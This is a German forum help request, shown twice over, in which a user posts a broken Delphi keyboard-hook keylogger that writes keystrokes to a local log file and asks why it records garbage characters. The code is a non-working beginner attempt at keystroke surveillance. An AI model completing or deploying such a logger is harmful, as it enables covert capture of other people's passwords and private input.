Hallo!
Ich versuche mich gerade zu Übungszweicken(wirklich keine schlechten absichten) an einem Keylogger. Ich habe ein Array, das mit Daten vom Typ byte gefüllt ist. Dem Array werden die Daten aus wParam zugewiesen. Diese Daten versuche ich jetztz einzeln in Buchstaben umzuwandeln und zu einem einzigen String aneinander zu reihen. Den String wird dann in einer TextDatei ausgegeben. Jedoch kommmen keine vernünftigen Buchstaben raus sondern immer irgendwelche komischen Zeichen: z.B.: $$$$$ Hier mal der Code:
[delphi]
function GKeyBoardHook(code: integer; wParam: word; lParam: longword): longword;stdcall;
var
Log: TStringList; //Log-Datei
KeyString: String;
KeyArr: array [0..44] of byte; //Array für die Tasteneingaben; Chr braucht byte
z: integer; //FOR-Schleifenvariable
begin
case Code < HC_ACTION of
True: //Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
else
//lParam Flags
if (lParam and $80000000)= 0 then begin
//HIER BEGINNT DER EIGENTLICHE CODE
Log := TStringList.Create; //virtuelles Objekt (Datei) wird erzeugt
Log.LoadFromFile('c:\Log.txt');
KeyArr := wParam;
i := i+1;
if (i = 1) then begin
for z := 0 to 1 do begin
KeyString := KeyString + Chr(KeyArr[i]);
end; //end der for schleife
Log.Add(KeyString);
i := 0;
Log.SaveToFile('c:\Log.txt');
end //end der if clausel
else
Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
end;
end;
end;
[/delphi]
Was läuft da schief bzw. wie kann ich des anders machen?
thx und mfg
Paddymann
Ich versuche mich gerade zu Übungszweicken(wirklich keine schlechten absichten) an einem Keylogger. Ich habe ein Array, das mit Daten vom Typ byte gefüllt ist. Dem Array werden die Daten aus wParam zugewiesen. Diese Daten versuche ich jetztz einzeln in Buchstaben umzuwandeln und zu einem einzigen String aneinander zu reihen. Den String wird dann in einer TextDatei ausgegeben. Jedoch kommmen keine vernünftigen Buchstaben raus sondern immer irgendwelche komischen Zeichen: z.B.: $$$$$ Hier mal der Code:
[delphi]
function GKeyBoardHook(code: integer; wParam: word; lParam: longword): longword;stdcall;
var
Log: TStringList; //Log-Datei
KeyString: String;
KeyArr: array [0..44] of byte; //Array für die Tasteneingaben; Chr braucht byte
z: integer; //FOR-Schleifenvariable
begin
case Code < HC_ACTION of
True: //Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
else
//lParam Flags
if (lParam and $80000000)= 0 then begin
//HIER BEGINNT DER EIGENTLICHE CODE
Log := TStringList.Create; //virtuelles Objekt (Datei) wird erzeugt
Log.LoadFromFile('c:\Log.txt');
KeyArr := wParam;
i := i+1;
if (i = 1) then begin
for z := 0 to 1 do begin
KeyString := KeyString + Chr(KeyArr[i]);
end; //end der for schleife
Log.Add(KeyString);
i := 0;
Log.SaveToFile('c:\Log.txt');
end //end der if clausel
else
Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
end;
end;
end;
[/delphi]
Was läuft da schief bzw. wie kann ich des anders machen?
thx und mfg
Paddymann